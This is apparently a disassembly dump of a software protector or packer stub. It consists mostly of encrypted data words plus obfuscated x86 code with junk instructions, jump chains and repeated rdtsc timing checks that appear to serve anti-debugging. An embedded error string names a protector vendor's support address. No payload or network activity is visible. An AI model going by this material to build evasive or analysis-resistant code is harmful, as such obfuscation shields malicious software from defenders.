		dd 0C53E7E33h, 752C305Ch, 305CC535h, 0DBC9C5DFh, 62BB345h
		dd 922CBA76h, 0C50989F8h, 990B305Ch, 0AB31B051h, 29B37B5h
		dd 0A043074Eh, 9A46B211h, 714D3408h, 172872DAh,	2F9142EBh
		dd 4F8C1ACBh, 0A0h, 0ACECA53Fh,	642872E5h, 78D0F23Eh, 0EB47C5DCh
		dd 0F3532DCFh, 0FA4A32C7h, 0E2423CDEh, 0BB3A44D6h, 5CC10BCCh
		dd 0D3AD4F30h, 1A64F622h, 73E477CAh, 9F19A8D9h,	8B1937B5h
		dd 0BAC255F1h, 3D38737Eh, 926110AAh, 202FC7C7h,	0C96CE882h
		dd 839602B3h, 16B770F9h, 310D3C30h, 3559Eh, 7EFE1D00h
		dd 0CBB145F7h, 16688E2Ah, 67E53D9Fh, 0ADCF62CEh, 238FA800h
		dd 55C76E0Eh, 9B35B83Ch, 0CF690474h, 0BDA2532Dh, 2DF0B0E1h
		dd 0EA202870h, 0B3EE78B4h, 305CC4F3h, 0FAB871Dh, 0B1E392EAh
		dd 0EE54D99Bh, 0C330A0B3h, 0B75054B8h, 0F5B927E5h, 0E80F2760h
		dd 0E9C3C7FAh, 47D56B2Eh, 0F6FDFCB5h, 0D66F37B4h, 0CDA15D94h
		dd 7EB470Bh, 4A0419Dh, 0F82872F2h, 9C64B554h, 0DA8C1AB3h
		dd 0C0h, 3BDC78E8h, 88C8541h, 5642AE34h, 6E6ABAC4h, 536DB1CBh
		dd 0DA16668Bh, 5CC1AA2Bh, 6C0E2C30h, 0BCC557C1h, 0C6C41053h
		dd 0AFD16627h, 29BF4D57h, 821500D5h, 0ED2AB9E8h, 9A0837B4h
		dd 7B3B7600h, 952872EDh, 99651739h, 30BD750Bh, 0D365F27Dh
		dd 0C717A8DEh, 0C9E042Fh, 26CFAD40h, 9C15678Ah,	3C314545h
		dd 6BF8EF67h, 0B000002h, 0B31D90E0h, 0E450DD9Fh, 2B852852h
		dd 58F479FBh, 0BE2EC7B5h, 80F41979h, 0D25243EDh, 1E5EF123h
		dd 65172597h, 86FBA7C8h, 28702D06h, 788EFC0Eh, 0C4F3B3EEh
		dd 871D305Ch, 92EA0FABh, 0C4BA5CF8h, 5CC4CDCDh,	0CF5D4730h
		dd 44E96D77h, 5BF5F830h, 942EC7B1h, 0ED6A04Ah, 27CEA842h
		dd 19CE2EC7h, 0BE83AC4Bh, 2BBCBF72h, 4759E091h,	6B3937B5h
		dd 47CEEA9Bh, 8EB22873h, 58D232EFh, 2F2C8C1Ah, 0B6000000h
		dd 0A537A0B3h, 0B59001ECh, 33139137h, 738F7652h, 47E66A28h
		dd 7F0117BFh, 16B010B3h, 2ECE8C1Ah, 0B0000000h,	9B2B6B26h
		dd 0BFE52873h, 449F5173h, 0C3305CC5h, 185CF150h, 0C154F08Ah
		dd 245E6BBBh, 2B9AF112h, 980EEA78h, 0B4E81EE9h,	7AEF437h
		dd 0EED7883h, 0DE3C0BBEh, 0C27CBF49h, 1FAD54A5h, 0DE567BFh
		dd 0B852C550h, 0F6FD232Dh, 0B759055Bh, 859737C5h, 51992BFBh
		dd 0C9F75A57h, 79E537B4h, 4A58A428h, 5CA002EEh,	72CB09A5h
		dd 0AA53FF28h, 1AD69769h, 35D78Ch, 9FF30000h, 305CC543h
		dd 0B9F77E17h, 912181ECh, 0FE698459h, 0ADEA356Ch, 7D2837B4h
		dd 0BBA24BB7h, 5FE97FCEh, 0B4CCCCC5h, 0C3BE2872h, 2872B4C3h
		dd 653F574Dh, 7882008Dh, 0E34339DCh, 0D95409E1h, 0BA22BC4Eh
		dd 7B0AE690h, 37B14B1Dh, 0ED871193h, 704AF4B4h,	0EBABE628h
		dd 2528704Ah, 0A58D177Fh, 7719B43h, 4E28C26Eh, 0A73023F6h
		dd 0D2839C15h, 432F2FC4h, 0AE38CEAEh, 0CB6A1426h, 6DB1C369h
		dd 700A9D98h, 0DCBA4601h, 0AA326C27h, 989F87Ah,	0B189ABBh
		dd 0AD6E0B99h, 632426E2h, 0ACFCD3h, 0A14A0000h,	5EF25ED7h
		dd 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h, 2EC7B558h
		dd 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h, 0C928702Bh
		dd 0A0B3CDB3h, 17ECA537h, 9B37B14Ch, 0FE91F90Eh, 77050F15h
		dd 6F0923AFh, 0B6C06AC6h, 7C2CB76Eh, 89A35773h,	641624E0h
		dd 494938D2h, 0CBF9547Ch, 208C11D9h, 3894680Ah,	800E6DE8h
		dd 0D302C50Bh, 53E9DEDEh, 0DE6C36F9h, 783F448h
		dd 2D4FE16Dh, 0DEDED3D1h, 36F953E9h, 0B158846Ch, 1A9BE577h
		dd 2E29CBEh, 11C5E984h,	8691FCC8h, 0C15AAh, 78AD0000h
		dd 8D5B88EDh, 27139601h, 0A14A3FEDh, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	256Eh
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 7EC7B53h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	572Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		mov	esi, edx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		mov	[ecx], esi
		pop	ecx
		pop	esi
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0E8B0024Eh, 7CDE908Dh, 0B8739538h, 7EC9AD1h,	0E0FFC503h
		dd 5B4E4EEFh, 672F882Eh, 6473DEDDh, 22A4B505h, 5BB7B79Fh
		dd 55F8A412h, 79111F30h, 583FDF16h, 37B02992h, 6EB6BF10h
		dd 5542F39Ah, 62395097h, 1E825CC2h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1100E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 60B40EC3h, 2D419529h, 0BD8907E9h
		dd 7E93061h, 7D858B61h,	6A07E934h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1A10C352h
		dd 41811D8h, 4439F91Dh,	850F0424h, 57h,	0E998D01h, 0BD8307E9h
		dd 7E921CDh, 44840F00h,	0E9000000h, 14h, 0C619ED44h, 18572F3Dh
		dd 0D9260F9Ah, 477538DCh, 5A6FFBE4h, 11E9h, 0CC053800h
		dd 0F2183FCEh, 4A50710Dh, 71531DF6h, 858DA0BEh,	7E93ABCh
		dd 718589FCh, 0FF07E929h, 9D9D89E0h, 8B07E901h,	0E916B585h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8DC89CBAh, 0BE960F0h, 5C000000h,	3C0F106Dh
		dd 51D5F790h, 81601134h, 0F2B36DC9h, 39616161h,	0F042444h
		dd 3885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 917A8E49h, 0C73A9BF4h, 0EC9FA785h
		dd 107h, 51952900h, 3107E91Fh, 0E92EED95h, 6A6007h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 204261C3h, 165E48E0h, 31C82EE0h, 0E908B1BDh,	39958907h
		dd 0E907E931h, 34h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0B8C35747h, 3FB2DABCh, 0F28A5F9Ch, 6E997h
		dd 24760000h, 0F66F47F6h, 0
		dd 1B8h, 4E858700h, 0B07ECA1h, 0FFF675C0h, 0E92659B5h
		dd 9F858F07h, 6A07EC9Fh, 0FFFF6A20h, 0E90C1595h, 0E1BD8307h
		dd 7E915h, 6A0874h, 0C3195FFh, 0BD8307E9h, 7E926A9h, 680D7401h
		dd 80h,	95FFFF6Ah, 7E90C15h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0FFC35040h,	6002EB2Bh, 26918D2Bh
		dd 0D18007E9h, 0C02B6113h, 17BDB501h, 958907E9h, 7E91695h
		dd 2824548Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	67C35545h, 0D18293B1h, 20FB675h, 9D8589A7h, 6A07E90Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 5DEC351h,	0A59F0E12h, 5E9h, 20208200h, 3CBE471Eh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0D1C0C357h, 0F1B1B52Bh, 0E0DF749Eh
		dd 7403F5FCh, 66F82424h, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0AB5911FBh, 89B7E403h
		dd 0E91CA995h, 24440307h, 5E924h, 0B7460000h, 89902052h
		dd 0E92A4D85h, 8F0F9007h, 14h, 7E860h, 828D0000h, 0EFBF5DFBh
		dd 0A6B8580Fh, 616EC2C1h, 118E0F50h, 0E9000000h, 0Ch, 4E005C4Bh
		dd 2F018F74h, 598889ABh, 25958990h, 8B07E900h, 0F5FC7840h
		dd 9FA7BD83h, 0F0007ECh, 15885h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0EA7E2040h
		dd 0F8B48736h, 0E9525090h, 0Fh,	841483DCh, 8780C20Bh, 14A9D3EEh
		dd 0FFE583Ah, 50525031h, 5A310F52h, 0F310F58h, 87h, 5A585A00h
		dd 13E95058h, 0B0000000h, 20D48C44h, 0F96A1082h, 533AB19Ch
		dd 11992CA4h, 6A90106Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0CD85C352h,	0F8F96084h
		dd 8BFCF561h, 0F2C2444h, 68Ch, 81BD3100h, 5007E931h, 0F08B6660h
		dd 28C0Fh, 0D38B0000h, 24048961h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 8DC35343h, 2D1545DBh, 604B3B96h
		dd 9E9h, 76DB0800h, 0EF37607Eh,	8D09E6D7h, 7E91ECDh, 0A850F61h
		dd 0E9000000h, 5, 26100E9Dh, 3A858DB4h,	6A07EC72h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2DD0C357h, 0FE9FCh, 47A30000h, 99066372h, 98EB699Bh
		dd 0ABE1AA00h, 6AD0FFABh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0B5B2C356h,	1C400B2h
		dd 0E9262985h, 24440307h, 8D8B6028h, 7E93185h, 3459531h
		dd 0F6107E9h, 0E82h, 95296000h,	7E92295h, 2F798589h, 8B6107E9h
		dd 6A1840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 34B0FEC3h, 0FD36A026h, 3519BD29h,	0E94007E9h
		dd 8, 0B75A47Ah, 699BB7Dh, 9FA38589h, 58F807ECh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h, 35F915C9h
		dd 78708B65h, 0EA5B589h, 0C68307E9h, 68A0F1Ch, 31000000h
		dd 0E91F99BDh, 9D299607h, 7E91905h, 1800Fh, 81F50000h
		dd 24247Ch, 0F100000h, 14D87h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0FCE5DA61h
		dd 3860Fh, 0F8600000h, 8E961h, 95430000h, 0E2212C4Ch, 60901662h
		dd 0BE85250h, 0DA000000h, 0D590CAF4h, 0F3A47804h, 0F5B76E8h
		dd 840F31h, 5A000000h, 612AB658h, 0DE950h, 688C0000h, 60D8E3F6h
		dd 0AFFB2481h, 905F22B2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AC35747h, 0D153FDA9h, 0C8A0FD4h, 0F000000h
		dd 68Ah, 0EDB50900h, 8B07E90Fh,	0F282444h, 0B85h, 6E900h
		dd 0F6230000h, 8615B4C4h, 50525090h, 9E952h, 94060000h
		dd 39D8320Bh, 0F7A00C8h, 5A616031h, 0E9310F58h,	0Dh, 0A72B5B7Ah
		dd 39391B67h, 0F3F9ABBFh, 50585AAFh, 66EC8A60h,	61A33AB9h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 164FE21Ch, 1959589h, 858D07E9h, 7EC723Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9CC35747h
		dd 77E13E01h, 0FD2949Fh, 0A87h,	61606000h, 251D8D8Bh, 0FF6107E9h
		dd 6A96F9D0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0B7F3C352h, 0A59D8960h, 0B707E909h
		dd 740361A9h, 6E92424h,	73000000h, 0E897C061h, 1BD8D2Ah
		dd 6A07E925h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 38FEC350h, 1ADF5B7h, 0E9158DBDh
		dd 247C8107h, 24h, 84870F10h, 60000000h, 2985B589h, 0ACB707E9h
		dd 7E95061h, 3D000000h,	823FF813h, 48918C5h, 0FE924h, 54FA0000h
		dd 0D8513194h, 7FDE250Eh, 5DEEC981h, 24448B74h,	95B52928h
		dd 0F807E915h, 12860F50h, 50000000h, 0F525052h,	0F585A31h
		dd 0F525031h, 5A585A31h, 24048958h, 10E9h, 0D976FC00h
		dd 0D200304Ch, 84DDA731h, 776EC1F2h, 3A858D02h,	107EC72h
		dd 0E9204995h, 0E9D0FF07h, 7, 8435BEACh, 316E98Ah, 60242444h
		dd 13E9h, 77886700h, 0FE40D4ECh, 0C940B5D8h, 0E4D3BBBFh
		dd 0B33D8287h, 1259B58Bh, 0AB6107E9h, 6830Fh, 0BD890000h
		dd 7E90969h, 0FA81h, 820F0001h,	769h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 71C35242h, 0A830Fh,	60600000h
		dd 0D8D3361h, 6107E920h, 0BE9h,	51331800h, 36E4548Ah, 64C305C9h
		dd 0B79BD8Dh, 8B6007E9h, 0E91C1DB5h, 39E28007h,	6AAD61h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 75CBBFC3h, 60464968h, 0BCEB70Fh, 0E90FC1B5h,	0F9FC6107h
		dd 24247C81h, 10000000h, 0FD870Fh, 0B5890000h, 7E92F95h
		dd 76B16050h, 0C38B6660h, 61615F53h, 0F240489h,	685h, 0B1B58900h
		dd 8B07E924h, 6A282444h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 5F2DC357h, 0BD93F15h
		dd 0F9345C1h, 180h, 6090FC00h, 0FDD8A60h, 88h, 10E96100h
		dd 19000000h, 6E2C83F4h, 76BCF434h, 6F68EB99h, 618C36E1h
		dd 60525050h, 236DBA66h, 0F615951h, 28D0F31h, 60000000h
		dd 90585A61h, 3059BD01h, 858D07E9h, 7EC723Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h, 8EA13EC1h
		dd 89604A62h, 0E92F8595h, 6AD0FF07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0D271C356h
		dd 0F6B40F18h, 13E9A957h, 0B3000000h, 8D37DEEDh, 40407695h
		dd 2EC2A1AAh, 30C15CDAh, 3FCB6EFh, 0FC242444h, 0F526090h
		dd 83h,	13E85900h, 0E9000000h, 0C6E95AE2h, 1E82AE8Dh, 0FF5DBB31h
		dd 0D4DDB787h, 615F18F3h, 52506050h, 11E9h, 83B1F700h
		dd 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 310FA1E5h,	585AF88Bh
		dd 6A9061h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 218E7EC3h, 2C20DEECh, 2E358D31h, 6AAB07E9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 97A8C357h, 0EDB67300h, 0F8017783h, 5E960h, 579F0000h
		dd 8B7E3408h, 0E91909BDh, 0BD8D6107h, 7E915CDh,	6AADF9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DD204C3h, 0CE7E1C51h, 247C8139h, 28h, 0E0870F10h, 0F8000000h
		dd 819D8B60h, 0E907E935h, 7, 324E9626h,	6129D05Dh, 60525050h
		dd 0A96BA66h, 0BE9h, 0BCA30900h, 6052F717h, 453C52BBh
		dd 60310F61h, 109FC5BFh, 79CBBB4Ch, 5A6105C4h, 24048958h
		dd 0A840Fh, 2B600000h, 0E922A185h, 615F5607h, 2C24448Bh
		dd 12C9B529h, 0F5007E9h, 483h, 5E566000h, 24048961h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C7C35747h, 2928E679h
		dd 890F1992h, 6, 16DD9531h, 858D07E9h, 7EC723Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FDC35242h, 6AD0FFF9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 7821C350h, 0D38CD15Bh, 33DB767h, 6A282444h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6D59C353h, 0BBFD812Bh, 60605419h,	66C18B66h
		dd 6141F8BEh, 2F85B58Bh, 296107E9h, 0E91DA18Dh,	6AAB07h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0AF277AC3h, 0D3AC9D2Eh, 820F0B87h, 0Ch, 7E9h, 0FB751400h
		dd 7B7E1FEh, 0A38DFF5Eh, 8307EC9Fh, 0EC9FA3BDh,	0A750007h
		dd 0B58DC033h, 7ECAE39h, 0AD56E6FFh, 28247C81h,	10000000h
		dd 8B500E77h, 502C2444h, 723A858Dh, 0D0FF07ECh,	28244403h
		dd 8ADF8B97h, 0EC9F9F85h, 74C08407h, 75073A04h,	0C032574Ch
		dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h,	0C132ACDBh
		dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h
		dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h,	0D1F7D2F7h
		dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 9D85FF04h
		dd 0E907E90Eh, 0FFFFFF5Dh, 56006A5Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0FA7FB11Bh
		dd 8D01DCA7h, 7E9253Dh,	5E960h,	28EA0000h, 8B27DE5Dh, 8BF961F8h
		dd 0E90E9D85h, 68D0F07h, 89000000h, 0E90331B5h,	0E9E0D107h
		dd 5, 5B2631C3h, 0CD850377h, 6A07E915h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1231C351h
		dd 1FC9A82h, 0E91B0995h, 6AF62B07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A24FC356h
		dd 0B59529A9h, 9607E91Ch, 8589FC60h, 7E91671h, 15B58961h
		dd 6607E90Fh, 55006AADh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0FFB9F68Eh, 0DE9A6C3h, 0D000000h
		dd 883B5D1Fh, 41B2DCCBh, 6A9B441Dh, 0F02E0C1h, 0C87h, 68A0F00h
		dd 0F000000h, 82h, 1850300h, 107E925h, 0E91AAD95h, 66F86007h
		dd 0AACDE881h, 6A9661h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 693A27C3h, 89C42FD4h, 0E911B5BDh
		dd 6AAD07h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9BBFE9C3h, 358D0107h, 8907E935h, 0E91DDD8Dh
		dd 0B8E0F07h, 60000000h, 1DFB70Fh, 0E91191B5h, 7C816107h
		dd 2424h, 870F1000h, 0CAh, 21019D31h, 850F07E9h, 0Ah, 958D2960h
		dd 8B07E931h, 0F5061DAh, 0A88h,	8B0F6000h, 0
		dd 89616160h, 7E92404h,	48000000h, 0A9C22AD0h, 448B1865h
		dd 85892824h, 7E91585h,	9890F50h, 60000000h, 0BD83BFBBh
		dd 615A5164h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 29D7C352h, 72A530D7h
		dd 87BE6009h, 5054159Eh, 5AC0BF0Fh, 6870F61h, 9000000h
		dd 0E91611B5h, 3A858D07h, 6A07EC72h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F4DC357h
		dd 68Dh, 818D0900h, 3107E930h, 0E934518Dh, 89D0FF07h, 0E907059Dh
		dd 4403F807h, 89F82424h, 6A1C2444h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D3D3C355h
		dd 0F178EFCh, 1580h, 7E86000h, 0CD000000h, 834B9CEBh, 895E3735h
		dd 0E935498Dh, 81606107h, 0B1E3E7C3h, 0F381665Bh, 0C6614D8Eh
		dd 0E9265985h, 85C70007h, 7ECA14Eh, 0
aEzq		db 'Ç…§Ÿì',7,0
		align 4
		dd 8B600000h, 0E91351B5h, 0CE807h, 0E5D60000h, 54332D20h
		dd 11BB35AFh, 9D298C99h, 7E90DCDh, 880F615Fh, 16h, 11E9h
		dd 4EDFE200h, 0F728B4D9h, 290F435Dh, 25D5F3FFh,	89616013h
		dd 0E901558Dh, 8C207h, 1858BF9h, 2907E925h, 0E91AF1B5h
		dd 6A4AF807h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 761DC356h, 4B715678h, 6A04D26Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 47D2C356h, 7900DDCBh, 0F82BC1F9h,	870FC203h
		dd 6, 0E5BD01h,	8A0F07E9h, 0Eh,	840F60h, 31000000h, 0E92E659Dh
		dd 89966107h, 0E92B1D9Dh, 14E907h, 111B0000h, 72683879h
		dd 8D583F0Eh, 9B7F9880h, 0D43AE8C7h, 60ADB6A6h,	7E9h, 448C5400h
		dd 0C2A3E728h, 61E7F480h, 24247C81h, 10000000h,	0DA870Fh
		dd 0AE90000h, 0E1000000h, 0C22FE23Ch, 208D53Ch,	870F901Ah
		dd 25h,	0AE95250h, 9C000000h, 2349CFBDh, 0B501554Eh, 0E9310F4Fh
		dd 0Bh,	0F64E1245h, 140D6779h, 5A2B9E3Eh, 60605058h, 310F5250h
		dd 5250585Ah, 585A310Fh, 0F906161h, 0E86h, 0B5236000h
		dd 7E920DDh, 0E3DAF781h, 8B6171B6h, 0F282444h, 0B84h, 0EF806000h
		dd 618589E9h, 6107E934h, 18830F90h, 0E9000000h,	13h, 2EEF7815h
		dd 129F05DDh, 10921630h, 14C2979Ah, 50DFA005h, 0D08B6060h
		dd 99BF6661h, 0E99061EBh, 0Ah, 6BA75F2Fh, 971A6958h, 858DC642h
		dd 7EC723Ah, 10890Fh, 0BE90000h, 0BF000000h, 0C695DDFEh
		dd 0DEBF06A1h, 0D0FF9091h, 68C0Fh, 95890000h, 7E91655h
		dd 0FFFDB5E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0E57DE5E5h, 0DA093F45h
		dd 0E9F5C6FDh, 6, 8CD15B78h, 858D67D3h,	7ECB406h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 55C35343h, 0BEE2659Bh
		dd 751BD29h, 509007E9h,	50525052h, 5A310F52h, 0F310F58h
		dd 8Dh,	0F585A00h, 5E526031h, 50585A61h, 25890Fh, 52500000h
		dd 14E9h, 0C1029900h, 9862449Eh, 0DA1DA7F1h, 9CD61C29h
		dd 0E08D3844h, 50310FFFh, 5A310F52h, 90585A58h,	0F9BF0F60h
		dd 15C9B589h, 646107E9h, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0CF15AFC3h
		dd 0B5894BB1h, 7E900A9h, 6850Fh, 8D090000h, 7E92FD5h, 6A24048Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BFCDC353h, 55B5891Fh, 8907E926h,	0E9017985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 95463E8Ch, 14E971h, 96C80000h, 0D9DF23E8h
		dd 7BE11A6Bh, 7A298084h, 32927872h, 896473B9h, 25h, 39850100h
		dd 8D07E926h, 0ECB25485h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 20444428h
		dd 0C6092352h, 8B0F492Dh, 0Ch, 6830Fh, 0B5890000h, 7E902F9h
		dd 89016089h, 0E92C6995h, 819D8907h, 0E907E935h, 205h
		dd 13E9h, 0D1212D00h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh
		dd 3C43DC0Ah, 0E8DB8Bh,	5D000000h, 0B24DED81h, 9CBC07ECh
		dd 830012FFh, 0E926A9BDh, 18740007h, 875858Bh, 0C607E9h
		dd 75858B00h, 0C607E91Ah, 95FF0000h, 7E9138Dh, 0ABB5FF60h
		dd 8D07EC9Bh, 0EC9BAF85h, 858D5007h, 7EC9DA7h, 0D595FF50h
		dd 8307E90Ah, 9610CC4h,	0E911C985h, 10E907h, 279D0000h
		dd 339AE408h, 5E71F3DBh, 85AF645Dh, 0B58D6A9Ah,	7EC9DA7h
		dd 8D61F860h, 0E90349BDh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7C2514A2h
		dd 3E80F8A9h, 52840F00h, 0F000000h, 0F86h, 0AE900h, 0BF6D0000h
		dd 8FD489FFh, 64068461h, 52006AA4h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0EBE97E6h, 5DD68F33h
		dd 71BD89ECh, 2907E91Eh, 0E9030D95h, 0FFACE907h, 800FFFFFh
		dd 1, 0B8F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D3119C3h, 7E91171h, 33F960AAh
		dd 0E9264D8Dh, 7B86107h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0DE89C357h
		dd 0FE9h, 1A5F6C00h, 71EE552Dh,	3B3FA7F3h, 54C64E22h, 231985C7h
		dd 107E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0B39DFFC3h, 0A0ABC89Ah, 8D8DF5C5h
		dd 7E94D5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	9CC35646h, 840FE1FFh, 8, 66D78B60h, 61B71AB8h
		dd 0C245C8Bh, 0E855h, 815D0000h, 0ECB410EDh, 0B8838B07h
		dd 89000000h, 0EC9BAB85h, 46858D07h, 8907ECB2h,	0B883h
		dd 0C0335D00h, 53006AC3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 27687332h, 13E92Dh, 8B090000h
		dd 61755AE6h, 3B13E632h, 0CFD44996h, 0BC564D06h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8929F53Bh, 0E92A0985h, 6A6007h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 893490C3h, 0E902FD95h
		dd 81858D07h, 0F807ECB6h, 0AD8D89h, 505007E9h, 138D0F52h
		dd 0E9000000h, 0Eh, 3401722Dh, 30148F41h, 335D27D8h, 310F4E04h
		dd 66FA8B60h, 612318B9h, 489585Ah, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3792C7B5h
		dd 3870C3B1h, 0C598D01h, 0B58907E9h, 7E90C91h, 35FF64h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0B3CBC351h, 0B88D8008h, 0A5833B8Eh
		dd 1830Fh, 64FC0000h, 2589h, 6A0000h, 3E857h, 5F200000h
